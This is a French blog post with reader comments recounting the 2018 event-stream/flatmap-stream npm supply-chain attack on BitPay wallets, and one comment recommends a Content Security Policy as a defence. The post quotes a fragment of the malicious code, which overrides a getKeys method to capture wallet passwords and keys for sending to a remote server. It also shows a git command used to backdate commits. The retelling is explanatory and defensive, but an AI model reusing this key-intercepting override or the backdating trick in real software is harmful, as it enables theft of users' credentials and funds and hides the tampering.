L’histoire vraie d’un module NPM hostile
Notre histoire commence en l’an de grâce 2018, un 20 novembre pour être précis, avec une issue GitHub portant un drôle de nom. Je ne sais pas quoi dire. Non, moi je sais quoi dire, c’est le nom de l’issue. Dans cette issue un dev a trouvé un bout de code vraiment hostile dans un module très populaire. On parle d’un module téléchargé plus de 2 millions de fois, des plus petites aux plus grandes entreprises, c’est tourné générale. D’ailleurs, peut-être même que tu l’as en ce moment même sur ton PC. Écoute-moi amoureux du npm install cette histoire te concerne directement.
Genèse
En vérité notre histoire commence bien avant le 20 novembre puisque la vraie genèse de tout ça est en 2012. Elle concerne un développeur au pseudonyme de dominictarr. Notre dev il aime ça l’open source. Il pousse du code non-stop, il a une belle grille verte bien remplie sur GitHub et il est bien content. Un jour il a l’idée d’un module npm dédié au Stream NodeJS. Il se dit, et il a raison, que les dev nodeJS sous-estiment la puissance des streams et propose des solutions faciles via son module. Et c’est cool ça, son module est utile et au cours des années qui suivent il va pousser un max de features de fou sur son module au fur et à mesure de ses besoins. Il fait ca pour le fun et il fait ça bien. C’est grâce à des gens comme dominictarr qu’on peut se concentrer sur nos problèmes métier et pas toutes ces choses dans les layers en dessous. Il est passionné notre dev il adore ça travailler sur son module et il contrôle férocement toute personne qui veut y participer via des merge requests évidemment.
En 2014 son module commence à être connu de la communauté et à monter doucement en popularité jusqu’en 2015. Là, on rigole plus par contre, il explose tous les téléchargements avec 16M de downloads. L’adoption folle de ce module continue en 2016, 2017 et 2018 où il atteint les 70M de downloads dans l’année d’après npm stats. C’est du bon, du gras, bien poilu, le npm install –save les yeux fermés si tu travailles avec des streams et que t’aimes ça streamer à gogo. Que du bon jusqu’ici, tout le code est scrupuleusement étudié à la loupe avant d’être publié et la vie est belle. Dominictarr il maintient le repos tout seul et ça depuis des années. L’open source c’est gratuit et à force des années qui passent il commence à se lasser de le maintenir. Au milieu de l’été 2018 notre dev ne commit pratiquement plus rien laissant la place à tous les participants. Il se lasse tellement qu’un jour un contributeur du nom de right9ctrl, qui avait déjà participé de façon significative au projet, lui demande s’il peut reprendre les droits sur le repos : il va dire oui sans poser de questions soulagé de plus avoir à s’en occuper. C’est là qu’il faut commencer à t’accrocher à ta chaise.
Donc le mainteneur ragequit sur un module à 70M downloads et le donne à un random dude. Un inconnu des Internets en plus. On sait bien qu’internet c’est pas Walt Disney, le genre de gens qu’on trouve dans les Internets viennent des sous-sols des enfers. Mais attention, que les choses soient claires : ce type nous doit rien, il doit rien à personne. Il fait son projet open source gratuitement pour tout le monde. Tout le monde est bien content que ça marche. Le problème n’est pas le dev, on en reparlera plus tard. En tous cas, il en a marre, il se barre et au lieu de laisser le projet à l’abandon autant le donner à quelqu’un. Mais voilà, le problème c’est qu’il est tombé sur un démon, et de type furtif en plus.
L’attaque ninja en deux temps
Au début, le type est calme. Le 4 septembre 2018, genre l’air de rien je suis gentil, vas-y que je commis des exemples de code pour faire un map et un split. C’est cool les exemples on aime. Ensuite il commit un peu plus pour mettre à jour le README, why not c’est le bien la documentation. Et puis le 9 septembre il met en marche la première partie de son plan et il pousse ça. Il ajoute simplement une dépendance bénigne, un autre module qui s’appelle flatmap-stream. Au début, ce truc-là fait pas grand-chose, il fait semblant de faire une feature dans l’index.js que personne utilise et que personne n’a vu d’ailleurs. Mais c’est gentil, ça fait du mal à personne.
La seconde partie est carrément un acte de satanique par contre. Le 5 octobre 2018 il pousse un second commit sur flatmap-stream où il rebase en changeant la date au premier commit pour que personne ne voit que la lib n’a été changée. Sûrement en utilisant un bon gros GIT_COMMITTER_DATE= »$(date) » git commit –amend –no-edit –date « $(date) ». Dans ce commit il change le fichier index.min.js et pousse une version différente de ce fichier sur le NPM registry. Oui, vous n’êtes pas obligés de pousser la même chose sur NPM et GitHub. Et ce fichier c’est GENRE le même fichier qu’index.js mais minifié pour les perfs t’inquiètes pas je suis philanthrope mon ami. C’est pas du tout le cas en fait. Non non rien à voir c’est bien un bout de code l’enfer qui l’envoie de façon détendue. C’est accompagné d’un fichier data encrypté en AES256 déguisé comme des fixtures de test pour faire le taf discrètement. Évidemment juste après il bump une nouvelle version du premier module (event-stream) avec une nouvelle version mineure passant de la 3.3.5 à la 3.3.6. Du coup tous les jean-jean comme toi et moi qui faisons un npm install ou un npm update vont se manger le code diabolique bien là où je pense. On estime que de cette façon entre 1.5 et 2 millions de downloads ont été compromis. Le gars a dû se gaver à plus savoir où en mettre. Mais pourquoi se donner autant de mal ? Vous l’avez déjà deviné il y a évidement beaucoup d’argent à la clef.
Horreur et effroi
Retour au 20 novembre 2018, presque 1 mois et demi plus tard, un dev du nom de FallingSnow travaille sur un bug dans un autre module. Rien à voir. Ceci dit ce module a une dépendance directe à event-stream. Il découvre que son problème est lié à cette dépendance et décide de fouiller deep dive la tête la première dans les entrailles d’event-stream. Il découvre alors la dépendance flatmap-stream qu’il va scanner de la même façon avec l’espoir de régler son problème personnel. Et c’est là qu’il va tomber nez à nez avec le code hostile avant de le flagger immédiatement sans trop comprendre ce qui se passe.
Le code de l’attaque en lui-même il a fait trembler tous les gens avec des BitCoins. Enfin pas exactement tous, seulement les utilisateurs de hot wallet qui utilisent Bitpay. Je vous fais une version courte et simplifiée : la première chose qu’il fait c’est de chercher ces fameux hot wallet. Et ça, peu importe si vous êtes sur mobile, une app Electron ou un browser : il se base sur un objet device et va tout fureter de la même façon. Ensuite il va gentiment itérer sur tous les ids de wallet qu’il trouve et qui dépassent un certain montant. Il est intéressant ici de noter que l’attaque ne va se déclencher que si le wallet en question dépasse les 100 bitcoins. Je précise qu’un bitcoin, même si ça c’est pété la gueule de façon folle, ça vaut qu’en même 4 262,96 $ USD au moment où j’écris ces lignes. C’est de la thune en masse. Dans la troisième et dernière étape de son attaque tout est envoyé sur un serveur en Malaisie. Ho et puis attention si vous faites partie de ces gens-là c’est sans pitié. Le compte en entier est volé, la thune, les clefs privées, la femme, les enfants et l’appart.
La clef de compréhension de cette attaque est la suivante :
cette méthode dans le repos de BitPay
Credentials.prototype.getKeys = function(password) { ...du code qui decrypte le password et qui le renvoit... return keys; };
est remplacé par ceci
const Credentials = require("bitcore-wallet-client/lib/credentials.js"); // Intercept the getKeys function in the Credentails class Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys; Credentials.prototype.getKeys = function(keyLookup) { const originalResult = this.getKeysFunc(keyLookup); try { if (global.CSSMap && global.CSSMap[this.xPubKey]) { delete global.CSSMap[this.xPubKey]; sendRequests("p", keyLookup + "\t" + this.xPubKey); } } catch (err) {} return originalResult; }
Tout repose sur le prototypage JavaScript. Pour les gens non familiers avec JavaScript : quand une instance d’objet est créée l’engin JavaScript va ajouter une propriété prototype à cet objet. Ce prototype est un objet avec un constructeur auquel on peut rajouter des méthodes, ces méthodes peuvent également être surchargées par la suite. C’est ainsi que BitPay a utilisé le prototype de l’objet Credentials pour créer sa méthode getKeys (Credentials.prototype.getKeys) et que par la suite elle a été surchargée par le code malicieux. Ensuite un POST va envoyer tout ce qu’il a réussi à récupérer direction Kuala Lumpur et c’est du gros bitcoin pour jean-michel hacker sans les mains.
Conséquences
Les gars de chez BitPay ils ont serré les fesses. À tel point que le 26 novembre 2018 ils ont publié ça où ils expliquent comment c’est chaud cette histoire et que tout le monde doit serrer les fesses avec eux en mettant à jour l’appli. Alors c’est marrant ils disent que l’app n’a pas été vulnérable à l’attaque mais ils disent également de vite, mais alors vite vite mettre à jour l’appli. Le jour suivant NPM quand ils ont vu ça ils ont paniqué aussi et ont pris immédiatement le contrôle total du module hostile. Il rassure tout le monde en confirmant que si vous n’êtes pas sur BitPay, vous pouvez vous détendre. Ils ont également supprimé les versions hostiles dans le registry pour que plus personne ne puisse les télécharger.
Enfin le développeur qui a céder les droits sur le package s’est exprimé après les événements. Il revient avec pas mal de détails, et de sentiments personnels, sur la raison qui l’a poussé à ceder les droits sur le package. Et c’est tout simplement car ce n’était plus fun de continuer à bosser dessus et d’en être responsable. Le réel problème en open source est que si on vous enlève le fun vous n’avez plus aucune raison de bosser sur un projet. La plupart des packages indispensables à nos apps sont gérés par des gens comme dominictarr qui donnent leur temps, leur énergie et leur passion à notre service gratuitement. Quand toute cette histoire a éclaté l’issue était spammée de commentaires haineux envers le dev. C’est fou ce que les gens peuvent être cons. On ne crie pas remboursé quand le spectacle est gratuit! D’ailleurs il propose même des solutions comme par exemple payer les mainteneurs de packages qui maintiennent nos applications. Ou alors tout simplement plus de participation à ces packages et du coup avoir plus de contrôle sur qui les met à jour et comment ils sont mis à jour.
Épilogue
Si ça peut en rassurer certains, ça a l’air de focus pas mal sur la crypto-currency, mais c’est pas une raison pour baisser sa garde. Tant qu’on se reposera sur la bonne volonté de mainteneurs inconnus on s’exposera à ce genre de choses. Et surtout il faut pas oublier une chose : ce package comme la plupart des packages en open source est fourni avec la licence MIT, petit extrait: CE LOGICIEL EST FOURNI « TEL QUEL », SANS AUCUNE GARANTIE. Est-ce que j’ai vraiment besoin de ce module ? La voilà la question à vous poser à chaque fois que vous en ajoutez un. Cette question devient de plus en plus critique. Cette histoire est vraie, comme plein d’autres cas similaires qui sont déjà arrivés. Et c’est pas fini, c’est sûr, y’en aura d’autres. Peut-être même en ce moment même dans ton node_modules.
Superbe article. Je partage ton point de vue. Merci pour ces explications et ces détails. !
Très bon article, merci également.
Je me joins à eux. Super article, merci !
« Est ce que j’ai vraiment besoin de ce module ? La voilà la question à vous poser à chaque fois que vous en ajoutez un. »
Le problème, surtout dans notre cas au boulot, ce sont les dépendances des dépendances des dépendances des …
En tout cas merci pour les explications !
Effrayant constat qui fait serrer les fesses : Il est quasi impossible d’auditer les dépendances des dépendances des […], et au final la sécurité de votre application repose sur votre confiance aveugle en des inconnus.
Les pirates l’ont bien compris, et une attaque très répandue aujourd’hui exploite ça à fond : Supply Chain Attack, ou comment compromettre des centaines d’applications en se concentrant sur le piratage d’une dépendance commune, ou d’un CDN. (cherchez « magecart » sur votre moteur de recherche préféré)
Ne vous méprennez pas, même si vous connaissez le maintainer actuel du repo, qui vous dit qu’un jour il ne changera pas (comme ce fut le cas pour event-stream) ou même tout simplement qu’il ne se fera pas pirater son compte le temps de push du code malveillant ?
Que faire alors, face à tous ces modules interdépendants, qui ont tous les droits sur les pages de vos applications web et sur les données qui s’y trouvent ?
Trois mots : Content Security Policy (ou CSP)
Avec une CSP, c’est VOUS qui décidez ce que le JS a le droit de faire sur votre site. Ca fait effet en aval, dans le navigateur, au moment même où le code malveillant se révèle.
Exemple :
Pas envie que le JS puisse envoyer les données de vos utilisateurs à un serveur malaisien ?
Configurez votre serveur pour qu’il renvoie ce header avec les pages web :
Content-Security-Policy: connect-src ‘self’
Et hop, si le JS tente d’envoyer des données (via ajax, fetch…) à autre chose que le domaine de votre site (‘self’), le navigateur bloquera la requête avant qu’elle ne parte.
Les directives CSP possibles sont très nombreuses, avec elles vous pouvez entre autre :
– bloquer le JS inline (bye bye le XSS !)
– bloquer les fonctions maudites comme eval() (le code malveillant dans event-stream se basait en partie dessus je crois…)
– bloquer le CSS inline
– définir des exceptions à ces blocages
– choisir les domaines vers lesquels les requêtes JS (XHR, fetch…) sont autorisées (bye bye les paquets piratés comme event-stream ou les attaques comme Magecart !)
– choisir les domaines qui ont le droit d’afficher votre site dans un iframe
– choisir les domaines que votre site a le droit d’afficher dans un iframe
– choisir les domaines qui ont le droit de charger des medias/images/polices sur votre site
– définir une URL à laquelle envoyer un rapport en JSON si jamais une de vos directives est violée (ce qui veut dire qu’en plus de protéger votre utilisateur en bloquant la tentative, le navigateur pourra vous prévenir vous, le dev, qu’il y a un soucis !)
– […]
– y a même une directive pour définir vers quels domaines les formulaires ont le droit d’être envoyés, au cas où un pirate aurait l’idée capilotractée de contrer connect-src en vérolant un formulaire pour en changer le contenu et l’action !
Vous n’avez pas la main sur le serveur pour y ajouter le header CSP ? Pas de soucis, mettez la CSP dans le de votre HTML :
Les CSP marchent sur navigateur et sur Electron.
Bien qu’étant un des outils les plus puissants pour contrer le XSS et compagnie, présent depuis maintenant plusieurs années (au moins 2013) il est encore trop peu utilisé, adoptez-le !
Si vous voulez aller plus loin, rdv sur https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy